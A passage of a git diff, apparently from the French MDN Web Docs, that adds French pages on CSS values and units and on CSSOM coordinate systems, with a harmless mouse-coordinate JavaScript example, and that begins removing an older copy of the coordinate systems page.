+ + diff --git a/files/fr/web/css/css_values_and_units/index.html b/files/fr/web/css/css_values_and_units/index.html new file mode 100644 index 0000000000..0c1c4f9b57 --- /dev/null +++ b/files/fr/web/css/css_values_and_units/index.html @@ -0,0 +1,494 @@ +--- +title: Valeurs et unités CSS +slug: Web/CSS/Valeurs_et_unités_CSS +tags: + - CSS + - Reference +translation_of: Web/CSS/CSS_Values_and_Units +--- +
{{CSSRef}}
+ +

Chaque déclaration CSS inclut une paire constituée d'une propriété et d'une valeur. La plupart de celles-ci sont définies dans le module de spécification CSS Values and Units (Valeurs et unités CSS). Dans cet article, nous verrons ces différents types et valeurs ainsi que des notions de base quant à leur utilisation. Pour obtenir des informattions plus détaillées, vous pouvez consulter la page de chacun de ces types.

+ +

Types de données textuels

+ +
    +
  • {{cssxref("<custom-ident>")}}
    • +
  • Des mots-clés prédéfinis tels que les identifiants (<ident>)
    • +
  • {{cssxref("<string>")}}
    • +
  • {{cssxref("<url>")}}
    • +
+ +

Une valeur dont le type de donnée est textuel peut être un identifiant CSS (<ident>) ou une chaîne de caractères (<string>). Lorsqu'il s'agit d'un identifiant CSS, celui-ci ne doit pas être entouré de doubles quotes (guillemets anglais). En revanche, les chaînes de caractères (<string>) doivent être délimitées par des quotes ou des doubles quotes.

+ +

Dans les spécifications, les valeurs qui peuvent être définies par un développeur web sont indiquées comme {{cssxref("<custom-ident>")}} ; ce type de valeur se comportera comme n'importe quel autre identifiant CSS. Ainsi, pour la propriété {{cssxref("grid-area")}}, on peut utiliser une valeur de type <custom-ident> et si on a une zone de grille nommée content, on l'indiquera sans quotes :

+ +
.item {
+  grid-area: content;
+}
+
+ +

En revanche, lorsqu'on manipule une valeur de type {{cssxref("<string>")}}, comme ça peut être le cas lorsqu'on utilise la propriété {{cssxref("content")}}, il faut l'entourer de quotes :

+ +
.item::after {
+  content: "Voici le contenu.";
+}
+
+ +

Si le type indiqué dans la spécification est <custom-ident> | <string>, cela nidiquera que les quotes sont optionnelles. C'est par exemple le cas avec les noms des animations :

+ +
@keyframe identifiantValide {
+  /* on place les keyframes ici */
+}
+
+@keyframe 'chaineValide' {
+  /* on place les keyframes ici */
+}
+ +

Bien qu'on puisse généralement utiliser presque n'importe nom (y compris en le composant d'emojis), un identifiant ne peut pas être none, unset, initial ou inherit, ne peut pas commencer par un chiffre ou par deux tirets. De façon générale, il ne faut pas qu'un identifiant soit un mot-clé CSS existant. Pour plus d'informations, voir les pages {{cssxref("<custom-ident>")}} et {{cssxref("<string>")}}.

+ +

Mots-clés prédéfinis

+ +

Les spécifications définissent également des mots-clés utilisables comme valeurs pour certaines propriétés. Ces mots-clés sont également des identifiants CSS et ne doivent pas être entourés de guillemets.

+ +

Lorsque vous consultez une spécification ou un article de MDN à propos d'une propriété, vous pourrez voir les mots-clés autorisés sous la forme suivante. Voici un exemple avec les valeurs autorisées pour la propriété {{cssxref("break-inside")}}.

+ +
auto | avoid | avoid-page | avoid-column | avoid-region
+ +

Dans une déclaration, on pourra donc écrire (sans quote) :

+ +
.box {
+  break-inside: avoid;
+}
+
+ +

Mots-clés généraux

+ +

En complément des mots-clés définis pour certaines propriétés, il existe trois mots-clés utilisables pour l'ensemble des propriétés CSS : {{cssxref("initial")}}, {{cssxref("inherit")}} et {{cssxref("unset")}}.

+ +

Le mot-clé initial représente la valeur définie comme la valeur initiale de la propriété. Le mot-clé inherit correspond à la valeur calculée de la propriété sur l'élément parent si celle-ci est héritée.

+ +

Le mot-clé unset agit comme inherit ou initial selon que la propriété soit héritée ou non.

+ +

Une quatrième valeur, {{cssxref("revert")}}, a été ajoutée dans le module de spécification de niveau 4 sur la cascade mais sa prise en charge est encore faible et hétérogène (en février 2019).

+ +

URL

+ +

Une valeur de type {{cssxref("<url>")}} s'utilise avec une notation fonctionnelle qui prend une chaîne de caractères (type <string>) comme argument et qui est une URL. La chaîne de caractères peut être une URL absolue ou relative. Ainsi, si on souhaite inclure une image d'arrière-plan, on pourra utiliser l'une ou l'autre de ces déclarations.

+ +
.box {
+  background-image: url("images/mon-arriere-plan.png");
+}
+
+.box {
+  background-image: url("https://www.exammple.com/images/mon-arriere-plan.png");
+}
+
+ +

On notera que la valeur passée à url() peut ne pas contenir de quotes. Dans ce cas, elle sera analysée comme une valeur <url-token> et devra respecter certaines règles supplémentaires quant à l'échappement de certains caractères. Voir la page {{cssxref("<url>")}} pour plus d'informations.

+ +

Types de données numériques

+ +
    +
  • {{cssxref("<integer>")}}
    • +
  • {{cssxref("<number>")}}
    • +
  • {{cssxref("<dimension>")}}
    • +
  • {{cssxref("<percentage>")}}
    • +
+ +

Entiers

+ +

Un entier ({{cssxref("<integer>")}}) se compose d'un ou plusieurs chiffres entre 0 et 9 (exemple de valeurs : 1024 ou -55). Un entier peut être précédé d'un signe + ou -.

+ +

Nombres

+ +

Un nombre ({{cssxref("<number>")}}) représente un nombre décimal pouvant avoir (ou non) une composante décimale. Le séparateur décimal utilisé est le point. Ainsi, 1 et 1.2 sont des nombres en CSS. Les nombres peuvent être précédés d'un signe + ou -.

+ +

Dimensions

+ +

Une valeur {{cssxref("<dimension>")}} est un nombre (<number>) suivi directement d'une unité (par exemple 10px). L'identifiant utilisé pour exprimer l'unité est insensible à la casse et est lui-même un identifiant. Il n'y a jamais d'espace entre le nombre et l'unité (1 cm ne sera pas valide). CSS utilise les dimensions pour les types suivants :

+ +
    +
  • {{cssxref("<length>")}} (longueurs avec des unités de distance)
    • +
  • {{cssxref("<angle>")}}
    • +
  • {{cssxref("<time>")}}
    • +
  • {{cssxref("<frequency>")}}
    • +
  • {{cssxref("<resolution>")}}
    • +
+ +

Nous verrons chacun de ces types dans les sections suivantes.

+ +
    +
+ +

Unités de distance

+ +

Lorsqu'on peut utiliser une distance comme valeur d'une propriété, cette valeur est décrite avec le type {{cssxref("<length>")}}. Il existe deux types de longueur en CSS : les longueurs absolues d'une part et les longueurs relatives d'autre part.

+ +

Les unités de longueur relative permettent d'exprimer une distance relative à une autre grandeur. Ainsi, l'unité em sera relative à la taille (corps) de la police pour l'élément ; l'unité vh sera relative à la hauteur de la zone d'affichage (viewport).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Récapitulatif des unités relatives
UnitéRelative à
emLa taille (corps) de police de l'élément
exLa hauteur d'un x avec la police utilisée par l'élément
capLa hauteur d'une majuscule nominale avec la police utilisée par l'élément
chLa largeur moyenne d'un glyphe étroit et de l'espace alentour pour la police utilisée par l'élément (le glyphe concerné étant “0” (ZERO, U+0030)).
icLa largeur moyenne d'un glyphe large et de l'espace alentour pour la police utilisée par l'élément (exemple de glyphe “水” ).
remLa taille (corps) de police de l'élément racine
lhLa hauteur de la ligne de l'élément
rlhLa hauteur de la ligne de l'élément racine
vw1% de la largeur de la zone d'affichage (viewport)
vh1% de la hauteur de la zone d'affichage (viewport)
vi1% de la taille de la zone d'affichage sur l'axe en ligne (inline axis)
vb1% de la taille de la zone d'affichage sur l'axe de bloc (block axis)
vmin1% de la zone d'affichage selon sa plus petite dimension
vmax1% de la zone d'affichage selon sa plus grande dimension
+ +

Les unités de longueur absolue correspondent à des mesures physiques et sont ainsi particulièrement adaptées lors que le média d'affichage possède une taille fixe (l'impression par exemple). Ainsi, l'unité cm correspond à un centimètre physique.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Récapitulatif des unités de longueur absolue
UnitéNomÉquivalence
cmCentimètre1cm = 96px/2.54
mmMillimètre1mm = 1/10e de 1cm
QQuart de millimètre1Q = 1/40e de 1cm
inPouces (inches)1in = 2.54cm = 96px
pcPicas1pc = 1/16e de 1in
ptPoints1pt = 1/72e de 1in
pxPixels1px = 1/96e de 1in
+ +

Lorsqu'on utilise une longueur nulle (sa valeur est 0), l'identifiant correspondant à l'unité n'est pas obligatoire. Dans tous les autres cas, l'unité doit être écrite juste après la valeur (sans espace). L'identifiant de l'unité est insensible à la casse.

+ +

Unités angulaires

+ +

Les valeurs angulaires sont représentées avec le type {{cssxref("<angle>")}} et peuvent être décrites avec les unités suivantes :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
UnitéNomDescription
degDegrésUn cercle se divise en 360 degrés égaux.
gradGrades/GradiansUn cercle se compose de 400 grades.
radRadiansUn cercle se compose de 2π radians.
turnToursUn cercle se compose d'un tour.
+ +

Unités temporelles

+ +

Les valeurs temporelles sont de type {{cssxref("<time>")}} et utilisent les unités suivantes.

+ + + + + + + + + + + + + + + + + + + + + +
UnitéNomDescription
sSecondes 
msMillisecondesUn millième de seconde.
+ +

Unités de fréquence

+ +

Les valeurs de fréquence ont le type {{cssxref("<frequency>")}} et utilisent les valeurs suivantes.

+ + + + + + + + + + + + + + + + + + + + + +
UnitéNomDescription
HzHertzNombre de fois par seconde.
kHzKilohertz1000 Hertz.
+ +

Unités de résolution

+ +

Les résolutions sont représentées par des valeurs de type {{cssxref("<resolution>")}}. Elles correspondent à la taille d'un point sur une représentation graphique et décrivent la quantité de ces points sur un pixel, pouce ou centimètre CSS.

+ + + + + + + + + + + + + + + + + + + + + + +
UnitéDescription
dpiPoints par pouce.
dpcmPoints par centimètre.
dppx, xPoints par unité px.
+ +

Pourcentages

+ +

Une valeur de type {{cssxref("<percentage>")}} représente une fraction d'une autre valeur de référence.

+ +

Les valeurs exprimées en pourcentages sont relatives à d'autres quantités (une longueur par exemple). Chaque propriété qui permet d'utiliser un pourcentage définit également la quantité à laquelle se réfère ce pourcentage. Cette quantité peut être une valeur d'une autre propriété du même élément, la valeur de la propriété sur un élément ancêtre, une caractéristique du bloc englobant ou autre chose.

+ +

Ainsi, si on utilise {{cssxref("width")}} avec un pourcentage sur une boîte. Ce pourcentage fera référence à la largeur calculée de l'élément parent de la boîte :

+ +
.box {
+  width: 50%;
+}
+ +

Mélanges entre les pourcentages et les dimensions

+ +

Certaines propriétés permettent d'utiliser une dimension avec deux types possibles (par exemple une longueur ou un pourcentage). Dans ce cas, la valeur mentionnée dans la spécification a une unité composite (ex. {{cssxref("<length-percentage>")}}). Voici les différentes unités composites qui existent :

+ +
    +
  • {{cssxref("<frequency-percentage>")}}
    • +
  • {{cssxref("<angle-percentage>")}}
    • +
  • {{cssxref("<time-percentage>")}}
    • +
+ +

Types de données spéciaux (définis via d'autres spécifications)

+ +
    +
  • {{cssxref("<color>")}}
    • +
  • {{cssxref("<image>")}}
    • +
  • {{cssxref("<position>")}}
    • +
+ +

Couleur

+ +

Une valeur de type {{cssxref("<color>")}} permet de représenter une couleur pour un élément (par exemple la couleur de son arrière-plan). Ce type est défini dans le module de spécification CSS Color.

+ +

Image

+ +

Une valeur de type {{cssxref("<image>")}} permet de représenter une image utilisable en CSS. Ce type est défini dans le module de spécification CSS Image Values and Replaced Content Module.

+ +

Position

+ +

Le type {{cssxref("<position>")}} définit le positionnement, sur deux dimensions, d'un objet sur une zone de positionnement. Ce peut être le positionnement d'une image d'arrière-plan par rapport à son conteneur par exemple. Ce type est interprété comme {{cssxref("background-position")}} et est donc spécifié avec le module CSS Backgrounds and Borders.

+ +

Notations fonctionnelles (fonctions)

+ +
    +
  • {{cssxref("calc()")}}
    • +
  • {{cssxref("min", "min()")}}
    • +
  • {{cssxref("max", "max()")}}
    • +
  • {{cssxref("clamp", "clamp()")}}
    • +
  • {{cssxref("toggle", "toggle()")}}
    • +
  • {{cssxref("attr", "attr()")}}
    • +
+ +

Les notations fonctionnelles sont des types de valeur qui peuvent représenter des types plus complexes ou qui impliquent un traitement spécifique du moteur de rendu. La syntaxe commence par le nom de la fonction, immédiatement suivi d'une parenthèse gauche ( suivie des arguments de la notation, suivis d'une parenthèse droite). Les fonctions peuvent prendre plusieurs arguments qui ont une forme analogue à celle utilisée pour les valeurs des propriétés.

+ +

Les espaces sont optionnels mais autorisés à l'intérieur des parenthèses.

+ +
+

Note : Contrairement à d'autres langages, la virgule n'est pas toujours le séparateur utilisé entre les arguments d'une notation fonctionnelle.

+
+ +

Certaines notations fonctionnelles historiques telles que rgba() utilisent des virgules pour séparer des arguments mais la plupart du temps, les virgules sont uniquement utilisées afin de séparer les éléments d'une liste. Si une virgule est utilisée comme séparateur entre des arguments, on peut ajouter un espace optionnel avant et après la virgule.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS4 Values")}}{{Spec2("CSS4 Values")}}Ajout des unités vi, vb, ic, cap, lh et rlh.
+ Ajout des notations fonctionnelles  min(), max() et clamp().
+ Ajout de  toggle()
{{SpecName("CSS3 Values")}}{{Spec2("CSS3 Values")}}Ajout de calc(), ch, rem, vw, vw, vmin, vmax, Q
{{SpecName("CSS4 Colors")}}{{Spec2("CSS4 Colors")}}Ajout des syntaxes sans virgule pour les fonctions rgb(), rgba(), hsl() et hsla(). Ajout des valeurs alpha pour  rgb() et hsl(), transformant ainsi rgba() et hsla() en alias respectifs (dépréciés).
+ Ajout du mot-clé de couleur rebeccapurple.
+ Ajout des couleurs sur 4 et 8 chiffres hexadécimaux où le dernier chiffre représente la valeur alpha.
+ Ajout des fonctions hwb(), device-cmyk() et color().
{{SpecName("CSS3 Colors")}}{{Spec2("CSS3 Colors")}}Dépréciation des couleurs système. Ajout des couleurs SVG. Ajout des fonctions rgba(), hsl() et hsla().
{{SpecName("CSS4 Images")}}{{Spec2("CSS4 Images")}} +

Ajout des notations fonctionnelles element(), image(), image-set(), conic-gradient()

+
{{SpecName("CSS3 Images")}}{{Spec2("CSS3 Images")}}Définition initiale du type image.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Définition initiale.
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/cssom_view/coordinate_systems/index.html b/files/fr/web/css/cssom_view/coordinate_systems/index.html new file mode 100644 index 0000000000..543167b1b6 --- /dev/null +++ b/files/fr/web/css/cssom_view/coordinate_systems/index.html @@ -0,0 +1,183 @@ +--- +title: Systèmes de coordonnées +slug: Web/CSS/CSSOM_View/Systèmes_de_coordonnées +tags: + - CSS + - CSSOM + - Coordonnées + - Guide +translation_of: Web/CSS/CSSOM_View/Coordinate_systems +--- +
{{cssref}}
+ +

Lorsqu'on définit l'emplacement d'un pixel dans un contexte graphique, on indique les coordonnées de ce point par rapport à un point fixe du contexte qu'on appelle l'origine. La position du pixel est donc indiquée comme le décalage de ce pixel par rapport à l'origine, sur les deux axes du plan.

+ +

Ce guide décrit les systèmes de coordonnées standard utilisés par le modèle objet de CSS. Les différences entre ces systèmes résident principalement dans l'emplacement de l'origine.

+ +

Dimensions

+ +

Pour les systèmes de coordonnées utilisés sur le Web, on prend comme convention qu'un décalage horizontal est appelé coordonnée en X (une valeur négative indique une position à gauche de l'origine et une valeur positive indique une position à droite de l'origine) et qu'un décalage vertical est appelé coordonnée en Y (une valeur négative indique une position au dessus de l'origine et une valeur positive indique une position en dessous de l'origine).

+ +

L'origine par défaut, dans les contextes relatifs au Web, est située dans le coin supérieur gauche avec les valeurs verticales positives se situant sous l'origine. Ceci est donc différent des représentations mathématiques généralement utilisées où l'origine se situe en bas à gauche et où les valeurs positives en Y sont situées au dessus de l'origine.

+ +

Lorsqu'on dessine des graphiques en trois dimensions ou lorsqu'on utilise une troisième dimension pour empiler des objets de l'avant vers l'arrière, on utilise la coordonnée en Z. Celle-ci correspond à la distance entre le spectateur et l'objet. Elle est positive si l'objet est plus éloigné du spectateur que l'origine et négative s'il est plus proche.

+ +
+

Note : Il est en fait possible de modifier les définitions et les orientations de ces systèmes de coordonnées grâce à des propriétés CSS telles que {{cssxref("transform")}}. Toutefois, nous évoquerons uniquement le système de coordonnées standard.

+
+ +

Les systèmes de coordonnées CSSOM standard

+ +

Il existe quatre systèmes de coordonnées standard utilisé par le modèle objet de CSS.

+ +

Offset

+ +

Les coordonnées indiquées selon ce modèle se situent relativement au coin supérieur gauche de l'élément qu'on examine ou qui a déclenché un évènement.

+ +

Ainsi, lorsqu'un {{domxref("MouseEvent", "évènement de souris", "", 1)}} se produit, la position de la souris telle qu'indiquée par les {{domxref("MouseEvent.offsetX", "offsetX")}} et {{domxref("MouseEvent.offsetY", "offsetY")}} est relative au coin supérieur gauche de l'élément sur lequel l'évènement a été produit. L'origine de ce système est décalée vers l'intérieure de la boîte de l'élément selon les distances fournies pour {{cssxref("padding-left")}} et {{cssxref("padding-top")}}.

+ +

Client

+ +

Ce système de coordonnées utilise le coin supérieur gauche de la zone d'affichage (viewport) ou du contexte de navigation comme origine.

+ +

Sur un ordinateur de bureau, par exemple, les propriétés {{domxref("MouseEvent.clientX")}} et {{domxref("MouseEvent.clientY")}} indiquent la position du curseur de la souris au moment où l'évènement se produit et relativement au coin supérieur gauche de la fenêtre du navigateur. Le coin supérieur gauche de la zone d'affichage fournie par la fenêtre est toujours situé en (0, 0), quel que soit le contenu du document et peu importe le défilement ayant eu lieu. Autrement dit, le défilement du document modifiera les coordonnées d'un élément donné du document.

+ +

Page

+ +

Ce système de coordonnées fournit la position d'un pixel par rapport au coin supérieur gauche de tout le {{domxref("Document")}} sur lequel le pixel est situé. Cela signifie qu'un point donné sur un élément conservera les mêmes coordonnées sur la page (sauf si l'élément est déplacé avec un changement de position ou à cause de l'ajout d'autres éléments sur la page ou à cause d'un redimensionnement d'un autre élément par exemple).

+ +

Les propriétés pour les évènements de la souris {{domxref("MouseEvent.pageX", "pageX")}} et {{domxref("MouseEvent.pageY", "pageY")}} fournissent la position de la souris au moment de l'évènement, relativement au coin supérieur gauche du document.

+ +

Écran

+ +

Pour le système de coordonnées lié à l'écran, l'origine est situé dans le coin supérieur gauche de l'écran. Cela signifie que la position d'un point donné évoluera si l'utilisateur déplace la fenêtre du navigateur ou s'il change de résolution (voire s'il ajoute des écrans).

+ +

Les propriétés {{domxref("MouseEvent.screenX")}} et {{domxref("MouseEvent.screenY")}} fournissent les coordonnées de la souris lors de l'évènement, relativement à l'origine de l'écran.

+ +

Exemples

+ +

Dans cet exemple simple, nous allons créé un ensemble de boîtes imbriquées. Lorsque la souris entrera sur la surface de ces boîtes, se déplacera ou quittera la surface correspondante, l'évènement déclenché est géré afin de mettre à jour les messages informatifs au sein de la boîte pour afficher les différentes coordonnées du pointeur selon les quatre systèmes de coordonnées.

+ +

JavaScript

+ +

Décomposons ce script en deux parties. Dans la première, le code permet d'afficher les coordonnées à l'écran. Ce code sera appelé par le gestionnaire d'évènements pour les différents évènements liés à la souris et qui nous intéressent ici.

+ +

Afficher les coordonnées

+ +

Comme nous le verrons après avec le code HTML, la boîte interne (celle sur laquelle on écoute les évènements) contient plusieurs paragraphes : un pour chacun des systèmes de coordonnées.

+ +
let inner = document.querySelector(".inner");
+let log = document.querySelector(".log");
+
+function setCoords(e, type) {
+  let idX = type + "X";
+  let idY = type + "Y";
+
+  document.getElementById(idX).innerText = e[idX];
+  document.getElementById(idY).innerText = e[idY];
+}
+
+ +

Dans inner On récupère une référence à l'élément {{HTMLElement("div")}} situé dans la boîte intérieure et qui contient les paragraphes qui serviront à afficher les informations liées aux coordonnées.

+ +

La fonction setCoords() prend en charge deux arguments : l'évènement {{domxref("MouseEvent")}} ainsi que le nom de l'origine utilisée pour obtenir les coordonnées. Les variables idX et idY sont des chaînes de caractères correspondant aux noms des propriétés à utiliser dans le système de coordonnées. Par exemple, si type vaut "page", alors idX vaudra "pageX" et idY vaudra "pageY".

+ +

Gérer les évènements liés à la souris

+ +

setCoords() est appelé par le gestionnaire d'évènements update() qui est lui même utilisé sur les différents évènements :

+ +
function update(e) {
+  setCoords(e, "offset");
+  setCoords(e, "client");
+  setCoords(e, "page");
+  setCoords(e, "screen");
+}
+
+inner.addEventListener("mouseenter", update, false);
+inner.addEventListener("mousemove", update, false);
+inner.addEventListener("mouseleave", update, false);
+ +

Le gestionnaire d'évènement update() appelle setCoords() pour chacun des systèmes de coordonnées et lui repasse en argument l'évènement qui s'est produit.

+ +

Les trois dernières lignes correspondent à l'enregistrement du gestionnaire d'évènements sur la boîte intérieure grâce aux appels de {{domxref("EventTarget.addEventListener", "addEventListener()")}} pour chaque type d'évènement : {{event("mouseenter")}}, {{event("mousemove")}} et {{event("mouseleave")}}.

+ +

HTML

+ +

Voici le code HTML utilisé pour l'exemple. On notera qu'à l'intérieur de l'élément <div> avec l'identifiant "log", on dispose d'un paragraphe pour chaque système de coordonnées. Un élément {{domxref("span")}} est utilisé pour chaque paragraphe afin de recevoir et d'afficher les coordonnées dans le système concerné.

+ +
<div class="outer">
+  <div class="inner">
+    <div class="log">
+      <p>
+        Système de coordonnées Offset : <span id="offsetX">0</span>,
+        <span id="offsetY">0</span>
+      </p>
+      <p>
+        Système de coordonnées Client : <span id="clientX">0</span>,
+        <span id="clientY">0</span>
+      </p>
+      <p>
+        Système de coordonnées Page : <span id="pageX">0</span>,
+        <span id="pageY">0</span>
+      </p>
+      <p>
+        Système de coordonnées Écran : <span id="screenX">0</span>,
+        <span id="screenY">0</span>
+      </p>
+    </div>
+  </div>
+</div>
+ +
+

CSS

+ + +

Le code CSS est uniquement utilisé à des fins stylistiques. La classe "outer" est utilisée pour la boîte englobante qu'on rend volontairement trop large pour la fenêtre de MDN afin de pouvoir scroller horizontalement. La boîte "inner" est celle sur laquelle on suit les évènements.

+ +
.outer {
+  width: 1000px;
+  height: 200px;
+  background-color: red;
+}
+
+.inner {
+  position: relative;
+  width: 500px;
+  height: 150px;
+  top: 25px;
+  left: 100px;
+  background-color: blue;
+  color: white;
+  cursor: crosshair;
+  user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  -webkit-user-select: none;
+}
+
+.log {
+  position: relative;
+  width: 100%;
+  text-align: center;
+}
+
+ +

Résultat

+ +

Voici ci-après le résultat obtenu avec ces éléments. Vous pouvez voir comment les coordonnées en X et en Y évoluent lorsque vous déplacez la souris à l'intérieur ou en dehors de la boîte bleue selon les différents systèmes de coordonnées. On peut également voir que le défilement horizontal n'a pas d'impact sur la valeur pageX.

+ +

{{EmbedLiveSample("Exemples", 600, 250)}}

+ +

Voir aussi

+ +
    +
  • Utiliser les transformations CSS : comment modifier un système de coordonnées
    • +
  • Les coordonnées relatives aux évènements de la souris : +
      +
    • {{domxref("MouseEvent.offsetX")}} et {{domxref("MouseEvent.offsetY")}}
      • +
    • {{domxref("MouseEvent.clientX")}} et {{domxref("MouseEvent.clientY")}}
      • +
    • {{domxref("MouseEvent.pageX")}} et {{domxref("MouseEvent.pageY")}}
      • +
    • {{domxref("MouseEvent.screenX")}} et {{domxref("MouseEvent.screenY")}}
      • +
    +
    • +
diff --git "a/files/fr/web/css/cssom_view/syst\303\250mes_de_coordonn\303\251es/index.html" "b/files/fr/web/css/cssom_view/syst\303\250mes_de_coordonn\303\251es/index.html" deleted file mode 100644 index 543167b1b6..0000000000 --- "a/files/fr/web/css/cssom_view/syst\303\250mes_de_coordonn\303\251es/index.html" +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Systèmes de coordonnées -slug: Web/CSS/CSSOM_View/Systèmes_de_coordonnées -tags: - - CSS - - CSSOM - - Coordonnées - - Guide -translation_of: Web/CSS/CSSOM_View/Coordinate_systems ---- -
{{cssref}}
- -

Lorsqu'on définit l'emplacement d'un pixel dans un contexte graphique, on indique les coordonnées de ce point par rapport à un point fixe du contexte qu'on appelle l'origine. La position du pixel est donc indiquée comme le décalage de ce pixel par rapport à l'origine, sur les deux axes du plan.

- -

Ce guide décrit les systèmes de coordonnées standard utilisés par le modèle objet de CSS. Les différences entre ces systèmes résident principalement dans l'emplacement de l'origine.

- -

Dimensions

- -

Pour les systèmes de coordonnées utilisés sur le Web, on prend comme convention qu'un décalage horizontal est appelé coordonnée en X (une valeur négative indique une position à gauche de l'origine et une valeur positive indique une position à droite de l'origine) et qu'un décalage vertical est appelé coordonnée en Y (une valeur négative indique une position au dessus de l'origine et une valeur positive indique une position en dessous de l'origine).

- -

L'origine par défaut, dans les contextes relatifs au Web, est située dans le coin supérieur gauche avec les valeurs verticales positives se situant sous l'origine. Ceci est donc différent des représentations mathématiques généralement utilisées où l'origine se situe en bas à gauche et où les valeurs positives en Y sont situées au dessus de l'origine.

- -

Lorsqu'on dessine des graphiques en trois dimensions ou lorsqu'on utilise une troisième dimension pour empiler des objets de l'avant vers l'arrière, on utilise la coordonnée en Z. Celle-ci correspond à la distance entre le spectateur et l'objet. Elle est positive si l'objet est plus éloigné du spectateur que l'origine et négative s'il est plus proche.

- -
-

Note : Il est en fait possible de modifier les définitions et les orientations de ces systèmes de coordonnées grâce à des propriétés CSS telles que {{cssxref("transform")}}. Toutefois, nous évoquerons uniquement le système de coordonnées standard.

-
- -

Les systèmes de coordonnées CSSOM standard

- -

Il existe quatre systèmes de coordonnées standard utilisé par le modèle objet de CSS.

- -

Offset

- -

Les coordonnées indiquées selon ce modèle se situent relativement au coin supérieur gauche de l'élément qu'on examine ou qui a déclenché un évènement.

- -

Ainsi, lorsqu'un {{domxref("MouseEvent", "évènement de souris", "", 1)}} se produit, la position de la souris telle qu'indiquée par les {{domxref("MouseEvent.offsetX", "offsetX")}} et {{domxref("MouseEvent.offsetY", "offsetY")}} est relative au coin supérieur gauche de l'élément sur lequel l'évènement a été produit. L'origine de ce système est décalée vers l'intérieure de la boîte de l'élément selon les distances fournies pour {{cssxref("padding-left")}} et {{cssxref("padding-top")}}.

- -

Client

- -

Ce système de coordonnées utilise le coin supérieur gauche de la zone d'affichage (viewport) ou du contexte de navigation comme origine.

- -

Sur un ordinateur de bureau, par exemple, les propriétés {{domxref("MouseEvent.clientX")}} et {{domxref("MouseEvent.clientY")}} indiquent la position du curseur de la souris au moment où l'évènement se produit et relativement au coin supérieur gauche de la fenêtre du navigateur. Le coin supérieur gauche de la zone d'affichage fournie par la fenêtre est toujours situé en (0, 0), quel que soit le contenu du document et peu importe le défilement ayant eu lieu. Autrement dit, le défilement du document modifiera les coordonnées d'un élément donné du document.

- -

Page

- -

Ce système de coordonnées fournit la position d'un pixel par rapport au coin supérieur gauche de tout le {{domxref("Document")}} sur lequel le pixel est situé. Cela signifie qu'un point donné sur un élément conservera les mêmes coordonnées sur la page (sauf si l'élément est déplacé avec un changement de position ou à cause de l'ajout d'autres éléments sur la page ou à cause d'un redimensionnement d'un autre élément par exemple).

- -

Les propriétés pour les évènements de la souris {{domxref("MouseEvent.pageX", "pageX")}} et {{domxref("MouseEvent.pageY", "pageY")}} fournissent la position de la souris au moment de l'évènement, relativement au coin supérieur gauche du document.

- -

Écran

- -

Pour le système de coordonnées lié à l'écran, l'origine est situé dans le coin supérieur gauche de l'écran. Cela signifie que la position d'un point donné évoluera si l'utilisateur déplace la fenêtre du navigateur ou s'il change de résolution (voire s'il ajoute des écrans).

- -

Les propriétés {{domxref("MouseEvent.screenX")}} et {{domxref("MouseEvent.screenY")}} fournissent les coordonnées de la souris lors de l'évènement, relativement à l'origine de l'écran.

- -

Exemples

- -

Dans cet exemple simple, nous allons créé un ensemble de boîtes imbriquées. Lorsque la souris entrera sur la surface de ces boîtes, se déplacera ou quittera la surface correspondante, l'évènement déclenché est géré afin de mettre à jour les messages informatifs au sein de la boîte pour afficher les différentes coordonnées du pointeur selon les quatre systèmes de coordonnées.

- -

JavaScript

- -

Décomposons ce script en deux parties. Dans la première, le code permet d'afficher les coordonnées à l'écran. Ce code sera appelé par le gestionnaire d'évènements pour les différents évènements liés à la souris et qui nous intéressent ici.

- -

Afficher les coordonnées

- -

Comme nous le verrons après avec le code HTML, la boîte interne (celle sur laquelle on écoute les évènements) contient plusieurs paragraphes : un pour chacun des systèmes de coordonnées.

- -
let inner = document.querySelector(".inner");
-let log = document.querySelector(".log");
-
-function setCoords(e, type) {
-  let idX = type + "X";
-  let idY = type + "Y";
-
-  document.getElementById(idX).innerText = e[idX];
-  document.getElementById(idY).innerText = e[idY];
-}
-
- -

Dans inner On récupère une référence à l'élément {{HTMLElement("div")}} situé dans la boîte intérieure et qui contient les paragraphes qui serviront à afficher les informations liées aux coordonnées.

- -

La fonction setCoords() prend en charge deux arguments : l'évènement {{domxref("MouseEvent")}} ainsi que le nom de l'origine utilisée pour obtenir les coordonnées. Les variables idX et idY sont des chaînes de caractères correspondant aux noms des propriétés à utiliser dans le système de coordonnées. Par exemple, si type vaut "page", alors idX vaudra "pageX" et idY vaudra "pageY".

- -

Gérer les évènements liés à la souris

- -

setCoords() est appelé par le gestionnaire d'évènements update() qui est lui même utilisé sur les différents évènements :

- -
function update(e) {
-  setCoords(e, "offset");
-  setCoords(e, "client");
-  setCoords(e, "page");
-  setCoords(e, "screen");
-}
-
-inner.addEventListener("mouseenter", update, false);
-inner.addEventListener("mousemove", update, false);
-inner.addEventListener("mouseleave", update, false);
- -

Le gestionnaire d'évènement update() appelle setCoords() pour chacun des systèmes de coordonnées et lui repasse en argument l'évènement qui s'est produit.

- -

Les trois dernières lignes correspondent à l'enregistrement du gestionnaire d'évènements sur la boîte intérieure grâce aux appels de {{domxref("EventTarget.addEventListener", "addEventListener()")}} pour chaque type d'évènement : {{event("mouseenter")}}, {{event("mousemove")}} et {{event("mouseleave")}}.

- -

HTML

- -

Voici le code HTML utilisé pour l'exemple. On notera qu'à l'intérieur de l'élément <div> avec l'identifiant "log", on dispose d'un paragraphe pour chaque système de coordonnées. Un élément {{domxref("span")}} est utilisé pour chaque paragraphe afin de recevoir et d'afficher les coordonnées dans le système concerné.

- -
<div class="outer">
-  <div class="inner">
-    <div class="log">
-      <p>
-        Système de coordonnées Offset : <span id="offsetX">0</span>,
-        <span id="offsetY">0</span>
-      </p>
-      <p>
-        Système de coordonnées Client : <span id="clientX">0</span>,
